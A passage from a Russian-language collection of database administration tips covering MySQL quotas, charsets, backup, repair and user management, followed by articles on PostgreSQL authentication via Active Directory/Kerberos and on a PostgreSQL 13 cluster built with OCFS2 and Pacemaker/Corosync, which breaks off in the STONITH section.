    Теперь мы можем использовать квоты как для обычных файлов. При превышении квот MySQL будет генерить ошибку full disk что является нормальным явлением и корректно отрабатывается MySQL, хотя сопровождается некоторыми проблемами: при запросе на добавление в базу, превысившую квоты, запрос повисает, повисают также последующие запросы, которые можно снять только их убийством или освобождением дополнительного места на диске. При дефолтных настройках это сразу вызовет проблему, так как такие запросы займут все сетевые соединения. Поэтому необходимо ОБЯЗАТЕЛЬНО ограничить максимальное количество подключений одного пользователя MySQL. В /etc/my.cnf:

    
       max_connections  = 500 (всего коннектов)
       max_user_connections = 30 (максимум для одного пользователя)
    

    Также возможно следующие - MySQL может пометить как поврежденные при останове сервера или когда временные файлы займут слишком много места на диске (второе судя по мануалам, не проверял). Лечится репаиром соотвествующих таблиц.

    Убить повисшие процессы может только root базы если они достигли max_user_connections.

    Не работает с таблицами innodb, так последние хранятся в одном месте независимо от базы.

    Коментируйте.

     
    ----* Перенос данных из MySQL 4.0 в 4.1.x через mysqldump от нового MySQL   Автор: Dmitry Molchanov  [комментарии]
     
    Итак, ситуация:
      -  новый db-сервер, с mysql 4.1.7
      -  необходимость проапгрейдить клиентскую библиотеку на тех серверах которые к нему будут обращаться.
      - необходимость миграции данных с других mysql, которые 4.0
      - базы все в cp1251
    
    В качестве эксперимента апгрейдим mysql-client до 4.1.7 на первом db-сервере, 
    где стоит 4.0.20 и отпадание mysql-client'а на, пусть даже час, ни к чему
    фатальному не приведет...
    На первый взгляд все гладко заапгрейдилось.
    
    Вечером апгрейдим Mysql-client где надо, чего надо пересобираем... пока все гладко.
    
    Начинаем миграцию данных, с того сервера где мы обновили Mysql-client в первую очередь.
    
    Маленькая ремарка:  mysql-(client|server) были собраны из портов с
        WITH_LINUXTHREADS=yes 
        BUILD_STATIC=yes 
        BUILD_OPTIMIZED=yes
    , т.е. с чарсетами по-умолчанию
    
      - делаем дамп командой mysqldump --opt database > database.sql
      - копируем дамп на новый сервер 
      - там в /etc/my.cnf уже прописано в [mysqld] default-character-set=cp1251.
      - говорим create database db_name
      - потом \. database.sql
      - дамп разворачивается, но... с матами на дублирование ключа и с вопросиками в место русских буковок.
      - пробуем set names cp1251 и снова развернуть дамп - та же история.
    
    Потом пол-дня пробуем всякие разные комбинации с пересборкой mysql-server и всякими 
    настройками charset/collation, в результате удосуживаемся присмотреться к дампу 
    и увидеть там 'SET NAMES utf8' в самом начале. После замены оного на 'set names cp1251', 
    все встало на свои места.
    
    Этот "set names utf8" появился когда новый mysqldump из mysql-client-4.1.7 взялся дампить 
    базу с cp1251 и, не получив информацию о collation/charset выставил то, что считал разумным - utf8.
    
    Лечится созданием дампа с --skip-set-charset.
    
     
    ----* FreeBSD 5.3 + MySQL на сервере с несколькими CPU   Автор: Z  [комментарии]
     
    Для оптимизации выполнения данной БД на сервере с несколькими процессорами (и hyperthreding) после 
    конфигурирования FreeBSD c SMP рекомендую поставить linuxthreads и собрать MySQL с его поддержкой. 
    
    Вот параметры для MySQL:
    
       env CC=gcc CFLAGS="-O3 -pipe -march=pentiumpro -D__USE_UNIX98 -D_REENTRANT \
          -D_THREAD_SAFE -DHAVE_BROKEN_REALPATH -I/usr/local/include/pthread/linuxthreads " \
          CXX=gcc CXXFLAGS="-O3 -pipe -march=pentiumpro -felide-constructors \
          -D__USE_UNIX98 -D_REENTRANT -D_THREAD_SAFE \
          -DHAVE_BROKEN_REALPATH -I/usr/local/include/pthread/linuxthreads " \
      ./configure \
         --prefix=/usr/local/mysql \
          --with-mysqld-user=dbuser \
          --with-charset=koi8_ukr \
          --with-innodb \
          --with-extra-charsets=none \
          --without-isam \
          --with-mysqld-user=dbuser \
          --enable-assembler \
          --mandir=/usr/local/man \
          --with-mysqld-ldflags=-all-static \
          --with-mit-threads=no \
          --enable-thread-safe-client \
          --disable-shared \
          --without-debug \
          --without-readline \
          --without-bench \
          --without-extra-tools \
          --with-mysqlfs \
          --with-vio \
          --with-named-thread-libs="-DHAVE_GLIBC2_STYLE_GETHOSTBYNAME_R \
         -D_THREAD_SAFE -DHAVE_BROKEN_REALPATH -I/usr/local/include/pthread/linuxthreads \
         -L/usr/local/lib -llthread -llgcc_r -llstdc++ -llsupc++" \
          --with-libwrap 
    
     
    ----* Ограничение пользователей в MySQL (доп. ссылка 1)   [обсудить]
     
    MySQL 3.23.x, /etc/my.cnf, блок " [mysqld]":
    
       set-variable    = max_connections=20 # Максимальное число одновременных коннектов к серверу
       set-variable    = max_user_connections=5 # Макс. число одновременных коннектов от одного пользователя
       set-variable    = connect_timeout=2
    
    Для MySQL 4.x для простых баз имеет смысл использовать опцию  skip-innodb  для
    существенной экономии памяти.
    
        В MySQL 4.x для конкретного пользователя можно установить следующие лимиты:
            GRANT ... WITH MAX_QUERIES_PER_HOUR N1
                                         MAX_UPDATES_PER_HOUR N2
                                         MAX_CONNECTIONS_PER_HOUR N3;
        , где:
         N1 -  Количество всех запросов в час;
         N2  - Количество всех обновлений/изменений в час;
         N3  - Количество соединений, сделанных за час.
    
    Для просмотра содержимого бинарного лога запросов нужно использовать утилиту mysqlbinlog.
    
     
    ----* Как посмотреть список таблиц и их структуру в MySQL   [комментарии]
     
    SHOW DATABASES; - список баз данных
    SHOW TABLES [FROM db_name]; -  список таблиц в базе 
    SHOW COLUMNS FROM таблица [FROM db_name]; - список столбцов в таблице
    SHOW CREATE TABLE table_name; - показать структуру таблицы в формате "CREATE TABLE"
    SHOW INDEX FROM tbl_name; - список индексов
    SHOW GRANTS FOR user [FROM db_name]; - привилегии для пользователя.
    
    
    SHOW VARIABLES; - значения системных переменных
    SHOW [FULL] PROCESSLIST; - статистика по mysqld процессам
    SHOW STATUS; - общая статистика
    SHOW TABLE STATUS [FROM db_name]; - статистика по всем таблицам в базе
    
     
    ----* Как изменить пароль для пользователя в MySQL   [комментарии]
     
    Свой пароль можно поменять через:
         SET PASSWORD = PASSWORD('пароль')
    
    Пароль определенного пользователя можно поменять через:
         SET PASSWORD FOR логин@localhost = PASSWORD('пароль');
         SET PASSWORD FOR логин@"%" = PASSWORD('пароль');
    
    тоже самое делают:
    
      UPDATE mysql.user SET Password=PASSWORD('пароль') WHERE User='логин' AND Host='localhost';
      FLUSH PRIVILEGES;
    
    или GRANT USAGE ON БД.* TO логин@localhost IDENTIFIED BY 'пароль';
    или mysqladmin -u логин password пароль
    
     
    ----* Как оптимизировать выполнение INSERT запросов в MySQL (доп. ссылка 1)   [обсудить]
     
    Для того чтобы INSERT операции не влияли на производительность SELECT запросов
    используют конструкции:
       "INSERT DELAYED" и "INSERT LOW_PRIORITY" (UPDATE LOW_PRIORITY) 
    Позволяют отложить включение данных до тех пор, пока не завершаться текущие
    операции чтения из базы,
    при том, что если накопилось несколько "DELAYED", то данные будут добавлены одним блоком. 
    При DELAYED управление возвращается сразу, LOW_PRIORITY возвращает управление
    только после завершения записи.
    
    Для увеличения скорости выполнения большого числа INSERT/UPDATE/DELETE 
    рекомендуется группировать несколько операторов в рамках одного лока или транзакции:
       LOCK TABLES table WRITE; (BEGIN;)
       INSERT'ы ...... (но не много, чтобы не столкнуться с deadlock)
       UNLOCK TABLES; (COMMIT;)
    
     
    ----* Как посмотреть статистику работы PostgreSQL и MySQL   [обсудить]
     
    Чем сейчас занимается SQL сервер:
       MySQL: mysqladmin processlist
       PostgreSQL: select * from pg_stat_activity;
                   select * from pg_stat_database;
    Общая статистика по работе сервера:
       MySQL: mysqladmin extended-status; mysqladmin status
       PostgreSQL: select * from pg_stats;
    
     
    ----* Как увеличить производительность выполнения mysqldump (доп. ссылка 1)   [комментарии]
     
    При дампе очень больших таблиц mysqldump пытается использовать очень большой объем ОЗУ.
    Чтобы он этого не делал нужно использовать опцию "-q". 
    
     
    ----* Как определить и исправить повреждение MySQL базы.   [обсудить]
     
    Для тестирования повреждений рекомендуется выполнять:
          myisamchk tables[.MYI]
    Параметры уровня проверки:
        --medium-check - средний
        --extend-check    - расширенный 
    В crontab:
    35 0 * * 0 /usr/local/mysql/bin/myisamchk --fast --silent /path/to/datadir/*/*.MYI
    Внимание, myisamchk нужно запускать при _не_ запущенном mysqld, иначе нужно
    использовать утилиту mysqlcheck
    (mysqlcheck --repair --analyze --optimize --all-databases --auto-repair)
    Восстановление таблицы:
         REPAIR TABLE tbl_name  или  myisamchk -r table_name или   myisamchk --safe-recover table_name
    
     
    ----* Как произвести оптимизацию хранилища в MySQL (аналог vacuum в psql)   [обсудить]
     
    Почистить "дырки" (дефрагментация), обновить статистику и отсортировать индексы:
           OPTIMIZE TABLE имя_таблицы;
    или использовать:   myisamchk --quick --check-only-changed --sort-index --analyze
    Внимание, myisamchk нужно запускать при _не_ запущенном mysqld, иначе нужно
    использовать утилиту mysqlcheck
    (mysqlcheck --repair --analyze --optimize --all-databases --auto-repair)
    Апдейт статистики оптимизатора:
          ANALYZE TABLE имя_таблицы;
    или использовать:   myisamchk --analyze
    Рекомендуется регулярно выполнять:
        isamchk -r --silent --sort-index -O sort_buffer_size=16M db_dir/*.ISM
        myisamchk -r --silent --sort-index  -O sort_buffer_size=16M db_dir/*.MYI
    
     
    ----* Советы по бэкапу данных в MySQL   [комментарии]
     
    Бэкап структуры:
        mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] \
        --password=password --user=user [база]  [таблицы] > backup_file
    ( -c - формировать в виде полных INSERT.
     --all-databases - бэкап всех баз,  --no-data - бэкап только структуры таблиц в базах,  [таблицы]  - бэкапить только указанные таблицы.)
    Восстановление:   mysql < backupfile
    (для прямой вставки из текстового файла можно воспользоваться mysqlimport)
    (для анализа структуры базы, например, списка таблиц: mysqlshow <база>)
    
     
    ----* Как обеспечить корректную работу MySQL с русскими символами при сортировке и выборке данных.   [комментарии]
     
    В /etc/my.cnf вписать в блоке [mysqld]:
       default-character-set=koi8_ru (или cp1251)
    При работе с базой можно выставить рабочую кодировку через:
       SET CHARACTER SET koi8_ru
    
     
    ----* Как добавить нового пользователя или БД в MySQL   [комментарии]
     
    GRANT ALL PRIVILEGES ON БД.* TO пользователь@localhost IDENTIFIED BY 'пароль';
    GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP PRIVILEGES ON БД.таблица TO
    пользователь@'%.domain.ru' IDENTIFIED BY 'пароль';
    
    или
    
    insert into user (host,user,password) values ('localhost', 'пользователь', password('пароль'));
    insert into db
    (Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,
    Drop_priv,Grant_priv,References_priv,Index_priv,Alter_priv) 
    values ('localhost','БД','пользователь','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'); 
    flush privileges;
    
    или воспользоваться скриптом mysql_setpermission
    
     
    ----* Как изменить забытый MySQL административный пароль   [обсудить]
     
    1. перезапустить mysqld с опцией --skip-grant-tables
    2. mysqladmin -h хост -u пользователь password 'новый пароль'
    
     

       PostgreSQL специфика

    ----* Настройка СУБД Postgresql для аутентификации пользователей через Active Directory   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки СУБД Postgresql для включения
    аутентификации пользователей через Active Directory с помощью протокола GSSAPI.
    
    Предполагается, что домен Active Directory и БД Postgresql уже развёрнуты.
    
    Для примера у меня развёрнут тестовый стенд со следующими параметрами:
    
    
  • Сервер с Active Directory: Windows Server 2022
  • Функциональный уровень домена: Windows Server 2016
  • Имя домена: domain.test
  • Контроллер домена: dc.domain.test
  • Клиентский компьютер с Windows 11, присоединённый к домену
  • Сервер с БД Postgresql 13 на Debian 11
  • DNS имя сервера СУБД: pg-host.domain.test Установка пакетов на сервере СУБД Для систем на базе Debian: root# apt install krb5-user postgresql Настройка Kerberos на сервере СУБД В файле /etc/krb5.conf на сервере с СУБД Postgresql добавляем описание для области Kerberos домена Windows: [libdefaults] default_realm = DOMAIN.TEST ... [realms] DOMAIN.TEST = { kdc = dc.domain.test admin_server = dc.domain.test } Проверяем, что можем получить билет: user@pg-host:~$ kinit Administrator@DOMAIN.TEST Смотрим список полученных билетов на сервере с БД: user@pg-host:~$ klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: Administrator@DOMAIN.TEST Valid starting Expires Service principal 23.07.2022 20:55:44 24.07.2022 06:55:44 krbtgt/DOMAIN.TEST@DOMAIN.TEST renew until 24.07.2022 20:55:38 Настройка описания имени службы в Active Directory Настройка пользователя Active Directory Для того, чтобы пользователи могли подключаться к СУБД с помощью GSSAPI, в Active Directory должна быть учётная запись с соответствующей записью уникального описания службы в поле Service Principal Name и User Principal Name: servicename/hostname@REALM. Значение имени сервиса servicename по умолчанию postgres и может быть изменено во время сборки Postgresql с помощью параметра with-krb-srvnam ./configure --with-krb-srvnam=whatever
  • hostname - это полное доменное имя сервера, где работает СУБД (pg-host.domain.test) оно должно быть зарегистрировано в DNS сервере, который использует Active Directory.
  • realm - имя домена (DOMAIN.TEST) В моём примере имя службы получается: postgres/pg-host.domain.test@DOMAIN.TEST Создаём пользователя pg-user в Active Directory, указываем "Запретить смену пароля пользователей" и "Срок действия пароля не ограничен". Создание файла с таблицами ключей Для того, чтобы служба СУБД могла подключаться к Active Directory без ввода пароля, необходимо создать файл keytab на сервере с Windows Server и после переместить его на сервер c СУБД. Создание файла выполняется с помощью команды ktpass.exe: ktpass.exe -princ postgres/pg-host.domain.test@DOMAIN.TEST -ptype KRB5_NT_PRINCIPAL -crypto ALL -mapuser pg-user@domain.test -pass <пароль> -out %tmp%\krb5.keytab Эта же команда выполняет привязку имени сервиса к учётной записи. Подключаемся к СУБД Postgresql и определяем, где СУБД предполагает наличие файла keytab: postgres@pg-host:~$ psql postgres=# show krb_server_keyfile; FILE:/etc/postgresql-common/krb5.keytab Копируем файл с Windows Server на сервер с СУБД в указанное место. Если файл необходимо расположить в другом месте, то необходимо поменять параметр krb_server_keyfile: sql> alter system set krb_server_keyfile=''/path''; Настройка Postgresql Настройка файла доступа pg_hba.conf и файла сопоставления имён pg_ident.conf В файле pg_ident.conf описываем сопоставление пользователей Active Directory с пользователями БД: # MAPNAME SYSTEM-USERNAME PG-USERNAME gssmap /^(.*)@DOMAIN\.TEST$ \1 Данное сопоставление указывает отображать доменного пользователя user@DOMAIN.TEST в пользователя БД user (для подключения, пользователь user уже должен быть создан в БД). В файле pg_hba.conf указываем, например, что использовать аутентификацию с помощью GSSAPI необходимо только для пользователей, состоящих в группе krb_users и подключающихся из сети 192.168.1.0/24: host all +krb_users 192.168.1.0/24 gss include_realm=1 krb_realm=DOMAIN.TEST map=gssmap Здесь:
  • map=gssmap - имя сопоставления из файла pg_ident.conf
  • krb_realm - имя домена Active Directory Создание пользователей Создаём пользователей в Active Directory: user1, user2. Создаём пользователей в СУБД: postgres=# create role user1 login; postgres=# create role user2 login; postgres=# create role user3 login encrypted password ''пароль'' ; Создаём группу krb_users (как файле pg_hba.conf) и добавляем необходимых пользователей в неё: postgres=# grant krb_users to user1; postgres=# grant krb_users to user2; В данном случае, пользователи user1, user2 смогут подключится к СУБД через GSSAPI, используя учётные данные из Active Directory, а пользователь user3 сможет подключиться только с указанием пароля, хранящимся в БД. Проверка подключения На Windows машине проверяем подключение. Входим на компьютер с Windows через Active Directory, например, как user1@domain.test. Запускаем клиент postgresql, в строке подключения указываем полное доменное имя сервера СУБД, как прописано в файле keytab - pg-host.domain.test, логин и пароль не указываем: C:\> chcp 1251 C:\> psql -h pg-host.domain.test -d postgresql Смотрим список билетов Kerberos: C:\> klist.exe #2> Клиент: user1 @ DOMAIN.TEST Сервер: postgres/pg-host.domain.test @ DOMAIN.TEST Тип шифрования KerbTicket: RSADSI RC4-HMAC(NT) флаги билета 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Время начала: 7/24/2022 11:22:54 (локально) Время окончания: 7/24/2022 20:59:53 (локально) Время продления: 7/24/2022 10:59:53 (локально) Тип ключа сеанса: RSADSI RC4-HMAC(NT) Флаги кэша: 0 Вызванный центр распространения ключей: dc.domain.test Проверяем подключение пользователя user3 с помощью пароля: C:\> psql -h pg-host.domain.test -d postgresql -U user3 Как видно аутентификация в СУБД работает успешно как с помощью Active Directory, так и через пароль, хранящийся в БД.
  •  
    ----* Настройка СУБД PostgreSQL 13 под управлением Pacemaker/Corosync в Debian 11   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки Postgresql для работы под контролем
    кластерной службы Pacemaker
    
    Под нагрузкой данное решение не проверялось, всегда делайте (и проверяйте) резервные копии.
    
    Для хранения базы данных будет рассмотрен пример использования кластерной файловой системе OCFS2.
    
    Версии ПО, использованные в примере:
    
    
  • OCFS2 - драйвер из ядра 5.10, утилиты ocfs2-tools - 1.8.6
  • Corosync - 3.1.2
  • Pacemaker - 2.0.5
  • Postgresql 13 В статье будет три типа кластеров:
  • кластер файловой системы OCFS2 - обеспечивает хранение файлов на общем диске и согласованную работу с ними
  • кластер Corosync/Pacemaker - обеспечивает отслеживание работы процессов СУБД, запуск виртуального ip-адреса СУБД
  • кластер баз данных Postgresql - набор баз, управляемых одним экземпляром работающего сервера СУБД Подготовка операционных систем Для устойчивой работы кластеров (OCFS2, Pacemaker/Corosync) необходимо как минимум три сервера. Сервера могут быть как физические так и виртуальные. Желательно, чтобы сервера имели одинаковые характеристики производительности. Я для демонстрации подготовил три виртуальные машины с помощью Qemu-KVM. Устанавливаем ОС Debian 11 на каждый из серверов в минимальной конфигурации. Настройка сети В примере у меня будут сервера с адресами:
  • node1 - ip 192.168.1.11
  • node2 - ip 192.168.1.12
  • node3 - ip 192.168.1.13 Имена узлов должны разрешаться в IP-адреса на каждом из серверов, для этого необходимо прописать сопоставление в файле /etc/hosts или создать записи на DNS-сервере. root:~# cat /etc/hosts 127.0.0.1 localhost 192.168.1.11 node1.local node1 192.168.1.12 node2.local node2 192.168.1.13 node3.local node3 В случае реальной реализации кластера, сетевых карт на каждом из серверов должно быть как минимум две - карты необходимо объединить в логическое устройство bonding или teaming. Физически карты должны подключаться к двум независимым коммутаторам. В примере у меня будет по одной сетевой карте на сервер. Настройка сетевого экрана Выполняем настройку экрана на каждом узле:
  • устанавливаем пакет для управления брандмауэром ufw
  • создаём разрешающие правила для ssh, postgres, узлов кластера
  • активируем правила root# apt install ufw root# ufw allow ssh root# ufw allow postgres root# ufw allow from 192.168.1.11 to any root# ufw allow from 192.168.1.12 to any root# ufw allow from 192.168.1.13 to any root# ufw enable Кластер OCFS2 для отслеживания работы узлов по-умолчанию использует протокол TCP порт 7777 (задаётся в файле /etc/ocfs2/cluster.conf), а Corosync - протокол UDP, порт 5405 (задаётся в файле /etc/corosync/corosync.conf), с учётом этого, можно настроить более тонкие правила брандмауэра: root# ufw allow proto tcp from 192.168.1.11 to any port 7777 root# ufw allow proto tcp from 192.168.1.12 to any port 7777 root# ufw allow proto tcp from 192.168.1.13 to any port 7777 root# ufw allow proto udp from 192.168.1.11 to any port 5405 root# ufw allow proto udp from 192.168.1.12 to any port 5405 root# ufw allow proto udp from 192.168.1.13 to any port 5405 Настройка дисковой системы На каждом сервере будет индивидуальный диск для системы (/dev/vda, 20 Гб) и общий диск на все сервера для хранения БД (/dev/vdb, 5 Гб): root# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 254:0 0 20G 0 disk ├─vda1 254:1 0 512M 0 part /boot/efi ├─vda2 254:2 0 18,5G 0 part / └─vda3 254:3 0 976M 0 part [SWAP] vdb 254:16 0 5G 0 disk /mnt/ocfs2clst Настройка кластерной файловой системы Для реального использования общий диск должен быть расположен на системе хранения данных, и подключатся к серверам по нескольким путям. Для демонстрации общий диск будет реализован с помощью средств Qemu-KVM. Настройка службы кластера ФС OCFS2 Настройка ядра Linux Необходимо изменить параметры ядра, чтобы сервер автоматически перезагружался при сбое кластерной ФС, для это нужно создать файл /etc/sysctl.d/10-ocfs2.conf kernel.panic_on_oops = 1 kernel.panic = 30 После применить параметры: root# systemctl restart systemd-sysctl Данные настройки указывают ядру Linux при возникновении сбоя (когда связь по сети пропала, но узел продолжает запись heartbeat сообщений на общий диск) автоматически перезагрузить узел через 30 секунд. Установка пакетов OCFS2 Устанавливаем пакеты на каждом из узлов root# apt install ocfs2-tools Настройка кластера ФС OCFS2 Все настройки кластера OCFS2 хранятся в файле /etc/ocfs2/cluster.conf. Нужно либо выполнить команды на каждом узле кластера, либо выполнить на одном узле и после скопировать файл /etc/ocfs2/cluster.conf на каждый узел, а после выполнить регистрацию и запуск. Создаём кластер (выполнить на каждом узле кластера) root# o2cb add-cluster ocfs2clst Добавляем узлы в кластер (выполнить на каждом узле кластера), имя узла должно совпадать с тем, что выдаёт команда hostname root# o2cb add-node --ip 192.168.1.11 --port 7777 --number 1 ocfs2clst node1 root# o2cb add-node --ip 192.168.1.12 --port 7777 --number 2 ocfs2clst node2 root# o2cb add-node --ip 192.168.1.13 --port 7777 --number 3 ocfs2clst node3 Регистрируем кластер (выполнить на каждом узле кластера) root# o2cb register-cluster ocfs2clst Включаем кластер (выполнить на каждом узле кластера) root# o2cb start-heartbeat ocfs2clst Выполняем настройку драйвера ФС (обязательно выполнить на каждом узле кластера) root# dpkg-reconfigure ocfs2-tools Запускать кластер OCFS2 (O2CB) во время загрузки компьютера?: Y Имя кластера, запускаемого во время загрузки компьютера: ocfs2clst Настройки драйвера хранятся в файле /etc/default/o2cb Содержимое файла: # O2CB_ENABLED: 'true' means to load the driver on boot. O2CB_ENABLED=true # O2CB_BOOTCLUSTER: If not empty, the name of a cluster to start. O2CB_BOOTCLUSTER=ocfs2clst # O2CB_HEARTBEAT_THRESHOLD: Iterations before a node is considered dead. O2CB_HEARTBEAT_THRESHOLD=31 # O2CB_IDLE_TIMEOUT_MS: Time in ms before a network connection is considered dead. O2CB_IDLE_TIMEOUT_MS=30000 # O2CB_KEEPALIVE_DELAY_MS: Max. time in ms before a keepalive packet is sent. O2CB_KEEPALIVE_DELAY_MS=2000 # O2CB_RECONNECT_DELAY_MS: Min. time in ms between connection attempts. O2CB_RECONNECT_DELAY_MS=2000 Создание ФС OCFS2 Можно создать разделы на кластерном томе и создавать ФС уже на разделе, но это добавит сложностей при расширении тома, так как придётся вручную править границы раздела с помощью parted/fdisk и после расширять ФС. Но у нас кластерный том планируется целиком отдать под работу СУБД Postgresql, поэтому ФС предлагаю создать сразу на всем томе (в примере это диск /dev/vdb). Выполняем форматирование общего тома на одном из узлов: root# mkfs.ocfs2 -L pg-data --cluster-name=ocfs2clst -N 5 -T datafiles --fs-feature-level=max-features --cluster-stack=o2cb /dev/vdb Описание параметров:
  • -L pg-data - метка ФС
  • --cluster-name=ocfs2clst - имя кластера OCFS2, который управляет ФС
  • -N 5 - максимальное количество узлов, которые могут работать одновременно с ФС, позже можно поменять с помощью tunefs.ocfs2, но рекомендуется создавать структуру заранее
  • -T datafiles - тип хранимых данных, может быть mail, datafiles, vmstore
  • --fs-feature-level=max-features - включаем все доступные возможности ФС, т.к. узлы у нас идентичные
  • --cluster-stack=o2cb - используем для управления ФС стандартный стек o2cb Проверяем, что метки новой ФС видны на всех узлах кластера: root# blkid /dev/vdb /dev/vdb: LABEL="pg-data" UUID="ce92b1e7-30cb-4883-9a92-57c986f76acd" BLOCK_SIZE="4096" TYPE="ocfs2" Вывод команды blkid на всех узлах кластера должен совпадать. Выполняем пробное монтирование Монтирование выполняется 20-30 секунд, так как требует согласования по сети. Выполняем команды на всех узлах кластера. root# mkdir /mnt/ocfs2clst root# mount /dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd /mnt/ocfs2clst Команда mounted.ocfs2 показывает на каких узлах смонтирована ФС. root# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node2, node3 Создаём пробные файлы/папки в каталоге /mnt/ocfs2clst на одном из узлов и проверяем, что они видны на остальных узлах кластера OCFS2. Размонтируем ФС на каждом узле: root# umount /mnt/ocfs2clst Расширение ФС OCFS2 Если потребуется увеличить размер хранилища:
  • Увеличиваем размер тома на СХД
  • Пересканируем том на сервере или перезагружаем узлы кластера
  • Расширяем ФС root# tunefs.ocfs2 -S /dev/vdb Добавление узла в кластер OCFS2 Если потребуется добавить ещё узел (например, node4, с ip 192.168.1.14) в кластер OCFS2, то необходимо выполнить команду на каждом узле: root# o2cb_ctl -C -i -n node4 -t node -a number=4 -a ip_address=192.168.1.14 -a ip_port=7777 -a cluster=ocfs2clst Необходимо заметить, что для обеспечения кворума, количество узлов должно быть нечётным. Установка PostgreSQL Устанавливаем пакеты на все узлы кластера: root# apt install postgresql Отключаем службу на каждом узле кластера, т.к. запуском СУБД будет управлять Pacemaker root# systemctl disable postgresql Настройка Pacemaker/Corosync Установка пакетов root# apt install pacemaker corosync crmsh fence-agents Настройка Corosync Служба Corosync обеспечивает обмен сообщениями между узлами кластера, с помощью неё отслеживается, что узлы работают корректно. А уже на основании информации о том какие узлы доступны, служба Pacemaker принимает решение о запуске сервисов (запуск виртуальных ip-адресов, монтирование файловых систем, запуск процессов СУБД). Настройки Corosync хранятся в файле /etc/corosync/corosync.conf. Рабочий пример файла указан ниже: # Please read the corosync.conf.5 manual page totem { version: 2 cluster_name: pgclst crypto_cipher: aes256 crypto_hash: sha256 } logging { fileline: off to_stderr: yes to_logfile: yes logfile: /var/log/corosync/corosync.log to_syslog: yes debug: off logger_subsys { subsys: QUORUM debug: off } } quorum { provider: corosync_votequorum } nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } Включение шифрования сообщений Corosync Для повышения безопасности можно включить шифрование служебных сообщений при обмене между узлами кластера. Для этого на одном из узлов необходимо выполнить команду: root# corosync-keygen Она создаст файл /etc/corosync/authkey, этот файл необходимо скопировать на другие узлы кластера. root@node1:~# scp /etc/corosync/authkey root@node2:/etc/corosync/authkey root@node1:~# scp /etc/corosync/authkey root@node3:/etc/corosync/authkey В файле настроек /etc/corosync/corosync.conf необходимо задать параметры crypto_cipher и crypto_hash в секции totem: totem { ... crypto_cipher: aes256 crypto_hash: sha256 ... } Если вам необходимо разместить файл-ключ по не стандартному пути, то расположение можно указать с помощью директивы keyfile. После изменений необходимо перезапустить службы на каждом узле: root# systemctl restart corosync pacemaker Параметры узлов кластера Corosync Для работы кластера необходимо указать список узлов. Это делается в секции nodelist. nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } После настройки, копируем файл /etc/corosync/corosync.conf на остальные узлы. Перезагружаем все узлы кластера и проверяем работу службы corosync с помощью команд corosync-quorumtool и crm_mon root@node1:~# corosync-quorumtool -s Quorum information ------------------ Date: Thu Jul 14 21:09:17 2022 Quorum provider: corosync_votequorum Nodes: 3 Node ID: 1 Ring ID: 1.139 Quorate: Yes Votequorum information ---------------------- Expected votes: 3 Highest expected: 3 Total votes: 3 Quorum: 2 Flags: Quorate Membership information ---------------------- Nodeid Votes Name 1 1 node1 (local) 2 1 node2 3 1 node3 root@node1:~# crm_mon -1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Thu Jul 14 21:11:18 2022 * Last change: Thu Jul 14 20:24:25 2022 by root via cibadmin on node1 * 3 nodes configured * 0 resource instances configured Node List: * Online: [ node1 node2 node3 ] Настройка Pacemaker Ресурсы Pacemaker описываются через XML-файлы, я вместо ручного написания xml-объектов буду использовать crm (CRM shell), где параметры ресурсов можно задать в виде аргументов. Смена имени кластера Ранее мы создали кластер OCFS2 с именем ocfs2clst, кластер Corosync с именем pgclst, теперь укажем имя кластера Pacemaker. После установки, имя кластера Pacemaker, обычно debian, поменяем его также на pgclst: root# crm_attribute --query --name=cluster-name scope=crm_config name=cluster-name value=debian root# crm_attribute --type crm_config --name cluster-name --update pgclst Параметры по-умолчанию Меняем параметры по-умолчанию для новых ресурсов:
  • resource-stickiness - "липучесть" ресурса к текущему расположению в кластере (по-умолчанию 0), или "стоимость" переноса ресурса на другой узел. При увеличении значения, pacemaker будет стараться восстановить состояние сбойного ресурса на том же узле, при малом значении - предпочтёт восстановить ресурс запуском на других узлах. root# crm_attribute --type rsc_defaults --name resource-stickiness --update 10
  • migration-threshold - кол-во сбоев ресурса на узле, при превышении которого происходит миграция на другой узел root# crm_attribute --type rsc_defaults --name migration-threshold --update 2 Ассиметричный кластер Можно указать, что для запуска каких-либо ресурсов необходимо наличие явного разрешающего правила. Это может понадобиться если не все узлы кластера идентичны по характеристикам: root# crm_attribute -n symmetric-cluster -v false После включения для каждого ресурса будет необходимо создать правила. crm conf location <имя правила> <имя ресурса> <приоритет>: <узел> Например, для ресурса виртуального ip-адреса (ip-pgclst) можно указать, что c приоритетом 100 он будет размещаться на узле node1, с приоритетом 10 - на узле node2, а на узле node3 его запуск будет запрещён (приоритет -infinity ): root~# crm conf crm(live)configure# location loc-ip-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-3 ip-pgclst -inf: node3 Изоляция узлов (stonith) В Pacemaker для каждого узла необходимо указать метод изоляции (fencing) в случае сбоя сетевой доступности. Осуществляется изоляция с помощью stonith ресурсов. Это могут быть программы для отключения питания на UPS, программы, которые подключаются к гипервизору и принудительно завершают работу виртуальной машины (нашего узла кластера) и много других вариантов. Без STONITH устройств Pacemaker откажется запускать ресурсы: root:~# crm_verify -L -V (unpack_resources) error: Resource start-up disabled since no STONITH resources have been defined (unpack_resources) error: Either configure some or disable STONITH with the stonith-enabled option (unpack_resources) error: NOTE: Clusters with shared data need STONITH to ensure data integrity Errors found during check: config not valid Список устройств для изоляции можно узнать из команды: root# stonith_admin --list-installed Параметры, необходимые устройству для работы, можно узнать: root# stonith 